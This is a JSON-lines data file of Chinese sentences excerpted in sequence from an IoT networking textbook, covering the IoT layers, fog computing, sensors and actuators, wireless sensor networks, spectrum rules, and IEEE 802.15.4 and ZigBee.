    {"text": "■ 网络传输子层：要想成功建立通信，人们必须通过实施网络层协议和传输层协议（如IP和UDP）来支持大量设备建立连接，同时对它们使用的媒介提供支持。"},
    {"text": "■ 应用层与分析层：在上层，应用需要处理收集到的数据，它们不止需要在必要时控制智能对象，还要根据收集到的信息来做出智能决策，并且指导“物”或其他系统来适应分析出的情况，并且修改它们的行为或者参数。"},
    {"text": "传感器可能是移动的，因为它会从一个对象移动到另一个对象（例如，黏度传感器就需要在化工厂中从一堆化学原料移动到另一堆化学原料），或者因为传感器本身是附着在一个移动物上的（比如那些安装在仓库或者工厂车间货物上的位置传感器）。"},
    {"text": "某个环境中的湿度传感器每次只需要（使用二进制）报告一个（范围在0～255的）当日指数，而一个引擎传感器则可能需要报告上百个参数，从温度到压力、气流速度、压缩速度、碳指数等。"},
    {"text": "中等吞吐量的对象既有可能是那种以较高频率发送简单数据的对象（此时数据流的结构看上去是连续的），也有可能是那种以较低频率发送复杂数据的对象（此时数据流的结构看上去则是断续的）。"},
    {"text": "■ 每单元的对象密度：这种分类方式是根据给定区域内连接在相同网关上的智能对象数量来进行判断的（往往是拥有相同通信需求的智能对象数量）。"},
    {"text": "但是像惠普天文台的SETI巨型望远镜这样的天文望远镜可能需要在很小的一片区域中安装成百上千个镜片，其中每个镜片上都带有多个陀螺仪、重力传感器和震动传感器。"},
    {"text": "2.4.2 第2层：通信网络层 在了解了智能对象的尺寸与它的数据传输功能（包括传输范围、数据量和频率、传感器密度与移动性）有关这一点之后，我们就可以准备将智能对象连接起来建立通信了。"},
    {"text": "有时，人们关注的则是设备是否能够承受突如其来的增压或减压，这就像是人们会在地震中经历的峰值地面加速度这样的震动——高速铁路或者重载运土设备上的移动系统就需要能够承受这样的震动。"},
    {"text": "IT和OT设备之间还有另一种差异，这种差异和（采取不同安装方式或执行不同工业功能的）设备的外部连接方式有关。 在OT和IT环境中，设备的安装环境完全不同。"},
    {"text": "在工业环境下，大多数计算和通信设备都位于在一个封闭空间（比如一个控制间）中，它们需要在这个空间中被垂直安装在一个DIN（德国标准化研究所）导轨内。"},
    {"text": "这些用例决定了这个物联网中的设备最适合工作在哪些频段、哪种数据帧结构与这种数据包的模式（数据包大小和通信的间隔时间）最为匹配，以及这种用例中最典型的拓扑是什么。"},
    {"text": "图2-9 接入技术与距离 根据不同技术预计的传输范围，我们可以用不同的名称来对这些技术进行归类，这些名称可以说明在这个范围内收集数据的的环境以及垂直位置。"},
    {"text": "因此当我们在IoT中使用标准网络技术（如以太网或者IEEE 802.11）的时候，这个概念也十分常用。 其他网络分类技术（如MAN[城域网，范围为数公里]和WAN[广域网，超过数公里范围的网络]）也在IoT环境中十分常用。"},
    {"text": "例如，HomePlug是一种HAN环境中的有限网络技术，但是如果在这个范围内使用的是无线技术（如ZigBee），则我们一般用WHAN（无线家用网络）来表示HAN。"},
    {"text": "随着距离的增加，不同技术吞吐量降低的斜率存在巨大差异。 当传感器与接收器之间的距离增加时，这种差异限制了每种技术可以实现的数据吞吐量。"},
    {"text": "因此，在判断了物联网设备的需求（即移动性和数据传输需求）之后，下一步是根据传输距离和吞吐量来判断该设备在一个数据收集单元中部署的目标数量。"},
    {"text": "IoT网络的一种特性在于有些节点（如传感器）同时支持数据收集和转发功能，而另一些节点（如某些网关）则会收集智能设备的数据，让传感器执行某些操作，并且连接其他网络或者网关。"},
    {"text": "因此，有些技术会依照设备执行的（协议）功能来对节点进行分类。 根据功能来分类技术的例子是IEEE 802.15.4，这项技术会在第4章进行深入介绍。"},
    {"text": "例如，在一栋楼中，温度传感器可能会部署在这栋楼的每个房间当中，或者房子的每个区域当中，它们可以与中央节点进行通信，并且由中央节点将温度显示出来，同时控制这栋楼的温度。"},
    {"text": "在这样的环境当中，中央节点可以负责整个网络的协调工作，负责向各个传感器传输信号，并且与它们建立连接。 在IEEE 802.15.4标准中，中央节点称为整个网络的协调器（coordinator）。"},
    {"text": "图2-13 互联拓扑 注释：图2-13显示的是一个部分互联拓扑，在这类拓扑环境中，一个节点可以与一个以上的节点进行通信，但并不是每个节点都可以直接与所有其他节点进行通信。"},
    {"text": "同样，物联网中采用的技术可能会随着时间的推移而变化，可能会随着用户使用环境而变化，也可能会随着新技术的日趋成熟，以及其他因素而变化。"},
    {"text": "在本世纪头几年，移动设备大行其道导致的数据流激增，引发了（LTE）蜂窝网络通信标准的更新换代。 而这种更新换代则让LTE可以迅速发展，成为了FAN的一项主流连接技术。"},
    {"text": "2.网关与回程子层 从一台物联网设备那里收集到的数据可能需要转发给中心站点，让中心站点来处理这些数据。 由于这类站点往往与物联网设备处于不同的地理位置，所以通过接入技术直接从传感器那里接收到的数据需要转发给另一个媒介（回程）并且传输到中心站点。"},
    {"text": "传感器与网关之间的通信可能会采用有线或者无线技术。 传感器也有可能与道路基础设施进行集成，通过一种有线或者无线技术连接到道路一端的网关。"},
    {"text": "有些技术（如802.11ah）则会为了适应物联网环境而以低频率实施WiFi（低于1GHz而不采用典型WiFi的2.4 GHz/5 GHz），这样做的目的是为了增加传输范围（最远可达2公里）。"},
    {"text": "802.16d（也称为固定WiMAX）描述了协议回程的实现方式。 此后，这个技术发布了修订版本（802.16.1），但大多数WiMAX网络仍然在实施802.16d的变种。"},
    {"text": "表2-4 WiMAX和蜂窝技术在架构方面需要考虑的因素 3.网络传输子层 上一节介绍了分层的通信架构，在这种架构中大量物联网设备都会向网关发送报告，而网关会将报告的数据通过另一个媒介发送给一台中央站点。"},
    {"text": "如果网络的能耗变得很高，那么电力公司的前端应用服务器可能就要求住宅的电表以更短的时间间隔来按需提供报告了，这样才能满足能耗的需求。"},
    {"text": "通过这种方式，房子里面的洗衣机可以在其他系统（比如电灯）能耗较低的时间启动，而家庭影院则一直可以获得电源，只要房主需要就可以使用。"},
    {"text": "在这类智能系统中，汽车的充电系统会连接到用户的能源账户。 当车主将车辆连接到一个公共充电站的时候，这辆车就会登录到这个系统中，让系统识别自己的身份并且连接到用户账户。"},
    {"text": "因此，这种通信结构可能会包含一个对等体到对等体（比如电表对电表）、点到点（电表到前端站点）、点到多点（网关或者前端站点到多个电表）、单播与组播通信（向一个或多个系统提供软件更新）。"},
    {"text": "这种通信会通过多个媒介进行传输（比如房屋中的电线，或者某种短距离的无线系统，如室内WiFi和/或ZigBee）：一个用来连接网关的较长距离的无线系统；"},
    {"text": "IP协议非常灵活，这个协议能够内嵌到许多差异巨大的设备当中，能够通过很多大不相同的媒介（包括低功率、有损和低带宽网络）来交换信息。"},
    {"text": "最后，我们可以利用在IP之上的传输层协议（UDP和TCP）来判断是由网络来控制数据包传输（通过TCP），还是让应用来执行控制任务（通过UDP）。"},
    {"text": "其中有些网络使用的是推送模型（即传感器以一定的时间间隔或者在触发的情况下发送报告），有些网络使用的则是收集模型（即应用通过网络向传感器发送查询），同时人们也可以使用混合的方式。"},
    {"text": "其中一个示例就是WebSocket。 WebSocket是HTML5规范中的一部分，它可以通过一条连接来建立一个简单的双向连接。 有些互联网解决方案会使用WebSocket来管理物联网设备与外部应用之间的连接。 WebSocket经常会和其他协议结合起来使用（如MQTT，这个协议会在后文进行介绍），以便解决那些物联网环境中存在的典型通信问题。"},
    {"text": "XMPP的限制在于它依赖TCP协议，因此XMPP可能会强制订阅方来维护与其他系统之间的开放会话，这会给那些本身内存不高的物联网设备带来问题。"},
    {"text": "传感器可以设置为MQTT的发布方（负责发布信息），需要接收这类信息的应用可以设置为MQTT订阅方，而所有的中间系统都可以设置为代理，在发布方和订阅方之间传递信息。"},
    {"text": "2.4.3 第三层：应用与分析层 一旦连接到网络，物联网设备就会与其他系统之间交换信息。 一旦这个物联网的传感器数量增加，物联网的功能就会在那些（利用了物联网设备之间交换的数据的）应用中体现出来。 1.分析与控制应用 很多应用都可以增加物联网网络的效率。"},
    {"text": "这里最关键的地方在于，应用处理这些数据是为了展示网络的一副完整的视图，这个视图不是只查看某一台物联网设显示出来的信息就可以了解到的。"},
    {"text": "这里所说的“很难编程到某一个物联网设备中”，有可能是因为要配置的变更过于复杂，无法由某一台本地设备执行，也有可能是因为要配置的变更必须依赖于其他物联网设备的参数才能执行。"},
    {"text": "控制系统架构的一个示例是SCADA。 SCADA是一种访问远程系统并且发送控制信息的通用方式。 SCADA得到广泛应用的一大环境，是控制和监控配电网的远程终端装置（RTU）。"},
    {"text": "在物联网领域，分析功能可以分为下面几种类型。 ■ 数据分析：这一类分析是处理由物联网设备收集到的数据，并且将它进行组合，以便提供一个与这个物联网系统相关的智能视图。"},
    {"text": "在一个比较复杂的环境中，通过数以千计的传感器收集到的温度、压力、风力、湿度和灯光强度等信息，都可以汇总到一起，然后通过处理来判断发生了风暴的可能性，以及风暴可能的路径。"},
    {"text": "不过，我们也可以采用更加智能的架构，即使用一个开放的系统，这个系统足够灵活，以便人们可以在未来向系统中添加新的传感器，并且上游操作和下游操作都可以实现。 这种灵活性让人们可以对当前部署的传感器执行一些其他的处理，同时可以更加深入并且更加高效地与物联网所连接的设备进行互操作。"},
    {"text": "这类告警可以节省人们的时间，避免维修团队在或许只有一台设备出现故障时，必须去依次查看每一台设备。 这个告警系统或许也可以缩短从系统出现错误状态到维修团队到达现场之间的时间。"},
    {"text": "这里所说的效率可以体现为很多不同的形式，包括在危险地带部署用来判断是否有人闯入的传感器，到在货车上安装超出最大重量的检测装置都属于这一类。"},
    {"text": "更加智能的系统甚至可以与房屋中的其他系统进行通信，学习人们的移动模式，对人们是否会出现在一个房间中做出预判，以便在有人进入房间之前就点亮电灯。 如果系统还可以更加智能一些，那么它就可以使用智能传感器通过分析各类参数来判断人们的心情，并且根据不同的心情点亮不同颜色的灯泡来适应人们不同的心理需求，以便给人们营造一个更加轻松或者更加活力四射的环境。"},
    {"text": "此外，一栋楼的空调耗能也可以与邻居的空调耗能进行协调，一栋房子中的洗衣机也可以与这种房子里面其他的用电器，乃至与周边住宅的用电器进行协调，让这个社区对于电网的能源需求变得更加稳定平缓。"},
    {"text": "当公共交通系统可以检测到或者预测出道路发生拥堵的情况时，系统可以临时让公交车换另一条路行驶，也可以根据交通状况和乘客数量来安排某条公交线路的公交车数量。"},
    {"text": "如果智能电网覆盖的整个区段都显示与电表的连接断开，那我们就可以对这些数据进行分析，并且将这些数据和其他数据源（如天气预报和电网的电力需求）结合起来，依此判断这次故障的成因。 这类信息可以帮助人们判断，电表连接中断是不是表示真的存在电力损失，还是说电网中出现了其他问题。"},
    {"text": "当数据量增大，连网之“物”种类增加，且人们对效率的要求进一步提升时，就会出现新的需求，而这些新的需求往往会要求执行数据分析的位置更加贴近物联网系统。"},
    {"text": "把如此海量的数据从上百万台边缘设备传输到云端是不切实际的，也是完全没有必要的，因为很多重要的分析其实根本用不到云级别的处理与存储资源。"},
    {"text": "因此，在设计的时候，一项重要的考量因素在于如何设计出一个物联网，以高效的方式管理如此海量的数据，这样数据才能迅速得到分析，而分析的结果也能够直接作用于商业利益。"},
    {"text": "例如，一个中等规模的智能电表网络包含100万台电表，这样一个网络每天可以生成近10亿个数据点（包括读表和其他控制数据），由此产生的数据量将达1TB之多。"},
    {"text": "如果必须借助逐字节的数据使用模型，回程链路有可能价值非常昂贵。 ■ 通过回程链路传输的数据量可能非常高，其中有很多数据或许价值不大（比如普通的轮询消息）。"},
    {"text": "图2-15显示了物联网数据管理与计算堆栈中雾层的部署方式。 图2-15 包含雾计算的物联网数据管理和计算堆栈 雾服务一般会在非常接近边缘设备的地方完成，执行的位置会尽可能接近物联网端点。"},
    {"text": "由于这个雾节点可以对井架上所有传感器发来的信息进行分析，因此它可以对它接收到的消息执行情境分析，甚至可以只把相关信息通过回程网络发送给云。"},
    {"text": "此外，零节点能够感受环境，因此可以对物联网中的事件快速做出响应，其响应的速度远比传统IT计算模型的响应速度要快得多，后者的延迟和响应时间要长很多。"},
    {"text": "因此，雾层可以提供分布式的边缘控制环路功能，在边缘对设备进行实时的监测、控制和分析，而不需要与云端的中心分析与应用服务器进行通信。"},
    {"text": "如果在卡车上安装一个雾节点，我们就可以不必迅速测量所有轮胎的胎压，我们也可以将这些数据与引擎、液压等系统中其他传感器发来的信息结合起来。"},
    {"text": "人们可以监测或者分析从连网之“物”发送过来的实时数据，然后据此来执行操作（比如锁门、修改某台设备的设置、执行火车制动、把摄像头拉近、在读到压力时即打开阀门、创建一个柱状图，或者给技术人员发送一条告警信息，让他们进行维修）。"},
    {"text": "■ 可感知环境位置且延迟低：雾节点的位置会尽可能贴近物联网节点，其目的是为了实现分布式计算。 ■ 在地理上更加分散：雾节点的目标服务与应用需要采用分布式的部署方式，这一点与更加集中化的云部署方式形成了鲜明对比。 ■ 部署在接近物联网节点附近：雾节点往往部署在存在大量物联网节点的环境中。"},
    {"text": "■ 雾与物联网节点之间使用无线通信：虽然雾计算也可以连接有线节点，但是在处理大量端点设备的情况下，雾的优势才最为明显，而无线接入是实现扩展规模的最简单方式。"},
    {"text": "配电网中某个导电柱上安装的雾节点可能掌握本地范围内所有消防栓的信息，而每个消防栓上的节点都能够发现水压低于警戒线的情况，并且能够快速发出故障告警。"},
    {"text": "有计算功能的边缘电表可以相互通信，这样配电网中一小部分设备之间就可以共享信息，以便监测本地电力质量与耗电情况，这些设备可以将那些有可能只与电网中一小块区域有关的事件通知给雾节点。"},
    {"text": "分层的好处在于，对从最接近端点设备的资源来对事件做出响应是速度最快的，因此分层可以带来直接的好处，同时云端仍然有更加强大的计算资源可供调用。"},
    {"text": "鉴于云资源是同质的，人们常常认为在很多情况下，边缘和雾资源会使用不同的操作系统、拥有不同的CPU和数据存储功能，并且拥有不同的能耗特征。"},
    {"text": "这个抽象层也需要拥有某种机制来支持虚拟化，能够在一个物理设备上运行多种操作系统或者服务容器，以便在物联网系统中支持多租户，实现应用一致性。"},
    {"text": "图2-16 物联网系统上的分布式计算与数据管理 2.6 小结 物联网系统的需求催生了新的网络架构，这个新的架构解决了扩展性方面的问题，解除了很多束缚，从数据管理的角度重新审视了物联网。"},
    {"text": "所有架构都把物联网分层分为了一个简化的架构，这个架构中包含有两个相互平行的堆栈：核心物联网功能协议栈和物联网数据管理与计算协议栈。"},
    {"text": "核心物联网功能协议栈分为三层：物联网传感器与执行器、网络组件，以及应用与分析层。 网络组件和应用层都包含了很多子层，它们分别对应物联网系统中的不同部分。"},
    {"text": "未知 第3章 智能对象：物联网之“物” 想象一下在第1章中强调的支持物联网连接的车辆和道路，这种通过物联网连接的车辆有一个令人印象深刻的传感器生态系统，它提供了可以被各种系统智能使用的大量数据，并提供了汽车本身以及与外部其他车辆共享的服务、连接的道路基础设施，甚至一整套基于云数据的诊断和消费者服务。"},
    {"text": "汽车里装满了各种各样的传感器（例如，温度、位置[GPS]、压力、速度），这些都意味着要提供丰富的有价值的相关数据，以提高安全性，简化车辆维护，提升驾驶员的经验。"},
    {"text": "3.1 传感器、执行器和智能对象 下文描述了传感器和执行器的性能、特征和功能，还详细说明了经济和技术状况如何影响了物联网的蓬勃发展。 最后，还介绍了如何将这些基本功能元素结合在一起形成智能对象，这些对象又连接在一起形成传感器和执行器网络，最终使大多数物联网用例成为可能。"},
    {"text": "■ 有源或无源：有源或无源的分类依据是传感器会产生能量输出并需要外部电源（有源），还是只接收能量，通常不需要外部电源（无源）。 ■ 侵入性或非侵入性：根据传感器是属于它所测量的环境一部分（侵入性）还是属于外部环境（非侵入性）来分类。 ■ 接触或无接触：可以根据是否需要与被测对象进行身体接触（接触）或不接触（无接触）来分类。 ■ 绝对或相对：可以根据其测量的是绝对尺度（绝对）还是具有固定或可变参考值的差异（相对）来分类。"},
    {"text": "■ 传感器如何测量：可以根据用于测量感官输入（如热电、电化学、压阻、光学、电学、流体力学、光弹性等）的物理机制来分类。 ■ 传感器测量对象：可以根据其应用程序或测量的物理变量来分类。"},
    {"text": "一个凸显传感器和物联网力量的有吸引力的用例是在精准农业（有时称为智慧农业）领域，该领域利用各种技术进步来提高传统农业的效率、可持续性和盈利能力。"},
    {"text": "这些传感器由北达科他州立大学（NDSU）开发，可以直接种植在土壤中，并留在土壤中进行生物降解，而不会对土壤质量造成任何危害。 图3-1 北达科他州立大学为智慧农业开发的可生物降解传感器 物联网（IoT）乃至联网传感器，已被反复列入少数将改变全球经济、塑造未来的新兴革命技术之列。"},
    {"text": "相应地，处理器可以向执行器发送电信号，执行器将信号转换为某种类型的运动（线性、旋转等）或有用的工作，这些工作可以改变或对物理世界产生可测量的影响。"},
    {"text": "传感器、执行器和处理器之间的这种交互作用以及生物系统中的类似功能是各种技术领域的基础，包括机器人技术和生物识别技术。 图3-4 传感器和执行器如何与物理世界交互 图3-5 传感器和执行器功能与人类的比较 就像传感器一样，执行器在功能、尺寸、设计等方面也有很大的差异。"},
    {"text": "■ 运动类型：执行器可以根据其产生的运动类型进行分类（例如，线性、旋转、一/二/三轴）。 ■ 功率：执行器可根据输出功率（如大功率、低功耗、微功耗）进行分类。 ■ 二进制或连续数据流：执行器可以根据稳定状态输出的数量进行分类。 ■ 应用领域：执行器可以根据所应用的具体行业或垂直领域进行分类。 ■ 能量类型：执行器可以根据其能量类型进行分类。"},
    {"text": "例如，用于评估土壤质量的智能传感器（测量各种土壤、温度和植物特性）可以与控制水、杀虫剂、化肥、除草剂等的电动或气动阀执行器连接。"},
    {"text": "以温度、pH、土壤/空气湿度、营养水平等良好的传感器读数为基础，来智能触发高精度执行器，提供高度优化的定制环境专用解决方案，这才是真正的智慧农业。"},
    {"text": "MEMS具有体积小、成本低和大规模生产的能力，这使得MEMS成为众多物联网应用程序的一个有吸引力的选择。 MEMS设备已经广泛应用于各种不同的应用中，并且可以在非常熟悉的日常设备中找到。"},
    {"text": "图3-6显示了一个扭转棘轮执行器（TRA），是由桑迪亚国家实验室开发的可以替代微型引擎的一个低压替代品。 图3-6 扭转棘轮执行器（TRA）MEMS 如图3-6所示，该MEMS只有几百微米宽；"},
    {"text": "如果把同一个传感器连接成智能网络的一部分，这个智能网络能够与执行器智能协调，根据传感器读数按需触发灌溉系统，我们就有了更强大的东西。 进一步扩展，假设协调的传感器/执行器集与其他传感器/执行器集合智能地互连，从而进一步协调施肥、虫害控制等，甚至与智能后端通信来计算潜在的作物产量。"},
    {"text": "1.智能对象：定义 从历史上看，由于智能对象有多种不同的解释，因此其定义一直比较模糊。 更令人困惑的是，尽管智能对象在语义上存在一些差异，但它经常与智能传感器、智能设备、物联网设备、智能设备、物、智能物、智能节点、智能物、泛在物、智能产品等术语互换使用。"},
    {"text": "■ 处理单元：智能对象具有某种类型的处理单元，用于获取数据，处理和分析传感器接收到的传感信息，协调控制信号到任意执行器，控制智能对象上的各种功能，包括通信和电力系统。"},
    {"text": "对于长期部署的智能对象，出于所有实用目的，都是不可接近的，电力通常通过太阳能、压电材料等获得，或者以混合方式获得，也可以使用基础设施的电力。"},
    {"text": "物联网正在推动越来越多的专用通信协议的发展，这些协议涵盖了更多样化的用例和环境。 ■ 通信正日益标准化：业界大力推动为物联网通信协议开发开放标准。 此外，有越来越多的开源力量来推进物联网的发展。"},
    {"text": "SANET中的传感器和/或执行器能够以有效的方式进行通信和合作。 有效和协调的沟通与合作是一个突出的挑战，主要是因为SANET中的传感器和执行器多种多样、结构不同而且受限于资源。 SANET可以提供高度协调的感知和驱动能力。 智能家居就是一种SANET，它体现了分布式传感器和执行器之间的这种协调。"},
    {"text": "例如，智能家居可以有温度传感器，这些温度传感器与供暖、通风和空调（HVAC）执行器有策略地联网。 当传感器检测到指定的温度时，可以触发执行器采取行动，并根据需要对房屋进行加热或制冷。"},
    {"text": "注释：从术语的角度来看，无线SANET通常被称为无线传感器和执行器网络（WSAN）。 由于许 多物联网部署绝大多数是传感器，因此WSAN通常也可称为无线传感器网络（WSN）并与之互用。 在本书中，我们通常将WSAN称为WSN，并知道执行器通常是无线网络的一部分。 3.2.1 无线传感器网络（WSN） 无线传感器网络由无线连接的智能物体组成，这些智能物体有时被称为微节点。"},
    {"text": "同样，在大规模无线传感器网络的众多节点之间建立内聚通信也需要额外的自治功能，这些节点通常是临时部署，不考虑节点的均匀分布和/或密度。"},
    {"text": "这种技术实际上具有无限的能力，如军事（例如，探测敌军移动）、环境（例如，探测地震或森林火灾）和工业（例如，探测制造异常和资产跟踪）。"},
    {"text": "这种自组织能力能够适应和演化WSN的逻辑拓扑结构，从而优化通信（节点之间以及集中式无线控制器之间的通信），简化新智能对象的引入，提高可靠性和对服务的访问。"},
    {"text": "物联网应用往往是关键任务，在大规模的WSN中，即使环境突然发生变化，无线通信暂时丢失，或者有限数量的节点的电池电量耗尽或功能不正常，整个系统都不会出现故障。"},
    {"text": "同样，在选择通信协议时，必须仔细考虑特定应用程序的需求，并考虑通信协议在功耗、最大传输速度、范围、包丢失容忍度、拓扑优化、安全性等方面所提供的任何折衷。"},
    {"text": "无线传感器网络通常部署在恶劣和不可预测的环境中，这一事实增加了另一个需要考虑的变量，因为显然不是所有的通信协议都设计得同样坚固。"},
    {"text": "物联网是影响所有垂直领域和行业的罕见技术之一，这意味着通信协议的标准化是一项复杂的任务，需要跨栈的多层协议定义，以及跨多个标准开发组织的大量协调。"},
    {"text": "这是物联网的基础，它开启了一个充满可能性的世界，在日常物品中嵌入传感器和/或执行器，并将它们联网，使复杂而协调良好的自动化成为可能，从而改善和简化我们的生活。"},
    {"text": "■ IEEE 802.15.4：重点介绍IEEE 802.15.4，这是一种早期用于连接智能对象的基本无线协议。 ■ IEEE 802.15.4g 和 IEEE 802.15.4e：讨论针对公用事业和智慧城市部署的802.15.4的改进。"},
    {"text": "■ IEEE 1901.2a：讨论IEEE 1901.2a，这是一种通过电力线连接智能对象的技术。 ■ IEEE 802.11ah：讨论IEEE 802.11ah，这是一种基于著名的802.11 WiFi标准的技术，专门针对智能对象。"},
    {"text": "中程无线技术的例子包括IEEE 802.11 WiFi、IEEE 802.15.4和802.15.4g WPAN。 根据物理介质特性，IEEE 802.3以太网和IEEE 1901.2窄带电力线通信（PLC）等有线技术也可分为中程技术（本章后面将更详细地讨论刚才提到的所有中程协议）。"},
    {"text": "此外，还需要考虑环境因素，如干扰和噪声，以及特定的产品特性，如天线设计和发射功率，最后，规划者应该了解该领域潜在的场景和拓扑变化，例如新建筑可能会干扰信号传输。"},
    {"text": "例如，频段的一部分被分配给各种类型的远程通信中，如无线电广播、电视、军事等。 在世界范围内，各种通信用途的频段通常被视为一种关键资源。"},
    {"text": "就物联网接入技术来说，无线通信使用的频段分为许可频段和未经许可频段。 许可频段一般适用于物联网远程接入技术，并分配给服务提供商、公共服务（例如，紧急救援、军方）、广播公司和公用事业公司部署的通信基础设施。 对于希望利用许可频段的物联网接入基础设施，一个重要的考虑因素是，用户在连接物联网设备时必须订阅服务。"},
    {"text": "这增加了部署大量传感器和其他物联网设备的复杂性，但由于服务是付费的，因此网络运营商可以保证在目标区域独自使用频率，可以提供更好的服务保证。"},
    {"text": "ISM频段内的一些通信在亚GHz范围内运行。 亚GHz频段被IEEE 802.15.4、802.15.4g和802.11ah等协议以及LoRa和Sigfox等LPWA技术使用（本章稍后将更详细地讨论这些技术）。"},
    {"text": "Recommendation 70-03主要描述了863～870MHz频段的使用、允许的发射功率或EIRP（等效全向辐射功率）和占空比（即设备在传输中处于活动状态的时间百分比）。"},
    {"text": "例如，巴西的ANATEL监管机构定义了902～907.5和915～928 MHz范围的使用（ANATEL506），日本的ARIB监管机构规定了920～928 MHz范围（ARIB-T108），澳大利亚的ACMA提供了915～928 MHz范围的建议。"},
    {"text": "综上所述，在实施或部署物联网智能对象时，我们应该考虑到一个国家/地区的频率和相应的法规，优化运行在未经许可频段上的智能对象硬件，以支持全球两个主要的亚 GHz频率：868 MHz和915 MHz。"},
    {"text": "在通过PLC部署智能电表的情况下，电表上的无线接口不能消耗5～10W的电力，否则需要部置的电表数将高达2000万部，这将要消耗100～200MW的能源用于通信。"},
    {"text": "图4-2 星型、点对点和网状拓扑 例如，室内WiFi部署主要是一组节点围绕接入点（AP）来形成星型拓扑结构。 而户外WiFi可以由AP主干的网状拓扑组成，节点以星型拓扑连接到AP。"},
    {"text": "一个不互连或不中继其他节点的流量的节点称为叶节点，或精简功能设备（RFD）（本章稍后还将介绍关于全功能和精简功能设备的更多信息）。"},
    {"text": "虽然对物联网节点进行分类是一项艰巨的任务，但随着计算、内存、存储、电源和网络的不断发展和改进，RFC 7228给出了一些受限节点的定义。 这些定义有助于区分受限节点和不受限节点，例如服务器、台式机或便携式计算机以及功能强大的移动设备（如智能手机）。"},
    {"text": "表4-1 RFC 7228所定义的受限节点的类 4.1.6 受限节点网络 虽然一些物联网接入技术（例如WiFi和蜂窝网络）适用于笔记本电脑、智能手机和一些物联网设备，但还有一些物联网接入技术更适合于连接受限节点。"},
    {"text": "1.数据速率和吞吐量 物联网接入技术提供的数据速率从100bit/s（采用Sigfox等协议）到每秒数十兆比特（采用LTE和IEEE 802.11ac等技术）不等（本章稍后将讨论Sigfox、LTE和IEEE 802.11ac）。"},
    {"text": "由于这些类型的物联网端点在计算或网络带宽方面不受限制，设计指南往往侧重于应用程序需求，如延迟和可靠性（本章稍后将更详细地讨论延迟和可靠性）。"},
    {"text": "如今，这种专业知识对LPWA网络很有帮助，因为在设计LPWA网络时是假定每天或每个端点的消息是定量的，而不仅是有一个纯粹的带宽使用限制。"},
    {"text": "在网状拓扑的情况下，如果网络内的两个设备之间需要通信，转发路径可能需要进行路由优化，而这可以使用IPv6 RPL协议（有关RPL的更多信息，请参见第5章）。"},
    {"text": "对于属于LLN定义但能够传输IP的技术，如IEEE 802.15.4和802.15.4g、IEEE 1901.2和IEEE 802.11ah，第一层或第二层分片功能和/或IP优化非常重要（本章后面将介绍IEEE 802.14和802.15.4g、IEEE 1901.2和IEEE 802.11ah协议）。"},
    {"text": "例如，IEEE 802.15.4的载荷大小为127字节，需要一个IPv6载荷，其最小MTU为1280字节（有关IPv6分片的更多信息，请参见第5章）。 另一方面，IEEE 802.15.4g支持最多2048字节的载荷，放宽了对IPv6最小MTU为1280字节的支持。"},
    {"text": "虽然这并不排除使用IPv6/6LoWPAN载荷（正如在一些端点实现中可以看到的那样），但是这些类型的协议更适合于类别0和类别1节点，如RFC 7228中定义的那样（LoRaWAN和ADR将在本章后面详细讨论。"},
    {"text": "下一节将介绍专用于受限网络的物联网接入技术。 4.2 物联网接入技术 上一节描述了帮助读者评估物联网受限网络技术的标准，以便进行适当的设计和操作。 本节对主要的物联网接入技术进行概述。"},
    {"text": "注释：大多数形式的无线通信都不同程度地受到多径衰减的影响。 多径衰减是指由于不同的信号路径和反射，信号的多个副本在不同时间点到达接收机。"},
    {"text": "多年来，该标准经过不断发展，成为一种众所周知的解决方案，适用于具有低数据速率、低复杂度，且电池寿命可持续数月甚至数年的无线设备。"},
    {"text": "自2003年以来，IEEE已经发布了IEEE 802.15.4规范的多个版本，每个版本都标有发布年份。 例如，IEEE 802.15.4-2003于2003年发布，802.15.4-2006于2006年发布，802.15.4-2011和802.15.4-2015分别于2011年和2015年发布。"},
    {"text": "表4-2中列出了一些基于802.15.4的著名协议栈。 表4-2 使用IEEE 802.15.4的协议栈 由于其历史相对较长，ZigBee是表4-2中列出的最有名的协议之一。"},
    {"text": "与WiFi联盟类似，Zigbee联盟是一个行业组织，旨在认证供应商之间的交互操作性，致力于推动和发展Zigbee，使其成为互联智能对象的物联网解决方案。"},
    {"text": "在2006年的修订版中，引入了多组命令和消息类型，并在2007年（称为Zigbee pro）迭代中增加了数量，以实现设备的不同功能，例如计量、温度或照明控制。"},
    {"text": "ZigBee最知名的主要领域包括商业、零售、家庭应用和智能能源的自动化。 在工业和商业自动化领域，基于ZigBee的设备可以处理各种功能，从测量温度和湿度到跟踪资产。 对于家庭自动化，ZigBee可以控制照明、恒温器和安全功能。 ZigBee Smart Energy汇集了各种可互操作的产品，例如智能电表，可以监控和控制电力和水等公用事业的使用和交付。 这些ZigBee产品由公用事业提供商控制，可以帮助协调家庭和企业与公用事业提供商本身之间的使用，以提供更高效的运营。"},
    {"text": "ZigBee指定位于较低层之上的网络和安全层以及应用程序支持层。 图4-3 高级ZigBee协议栈 ZigBee网络和安全层提供了网络启动、配置、路由和安全通信机制。"},
    {"text": "ZigBee是建立在IEEE 802.15.4基础上的最著名的协议之一。 在802.15.4 PHY和MAC层之上，ZigBee指定了自己的网络和安全层以及应用程序配置文件。"},
    {"text": "ZigBee IP堆栈如图4-4所示。 图4-4 ZigBee IP协议栈 与上一节中讨论的传统ZigBee不同，ZigBee IP支持6LoWPAN作为适配层（6LoWPAN协议将在第5章中介绍）。"},
    {"text": "因为ZigBee IP利用网状覆盖或路由转发方法来转发数据包，所以不需要6LoWPAN网状寻址报头。 ZigBee IP需要支持6LoWPAN的分片和报头压缩方案。 在网络层，所有ZigBee IP节点都支持IPv6、ICMPv6和6LoWPAN邻居发现（Neibourhood Discovery，ND），并利用RPL在网状网络上进行分组路由。"},
    {"text": "如读者所见，ZigBee IP是一个引人注目的协议栈产品，因为它基于应用层下每层的当前IoT标准。 这为ZigBee IP在几乎任何802.15.4网络上与其他基于这些开放式IoT标准的解决方案进行集成和交互操作提供了机会。"},
    {"text": "图4-5 IEEE 802.15.4 PHY格式 注释：IEEE 802.15.4 PSDU最大为127字节，这明显小于其他上层协议的最低MTU设置，例如IPv6，其最小MTU设置为1280字节。"},
    {"text": "这4种802.15.4 MAC帧类型中的每一种都遵循图4-6中所示的帧格式。 在图4-6中，请注意MAC帧作为PHY载荷进行传输。 802.15.4 MAC帧可以分解为MAC报头、MAC载荷和MAC帧尾字段。 MAC标头字段由帧控制、序列号和寻址字段组成。 帧控制字段定义诸如帧类型、寻址模式和其他控制标志之类的属性。 序列号字段指示帧的序列标识符。"},
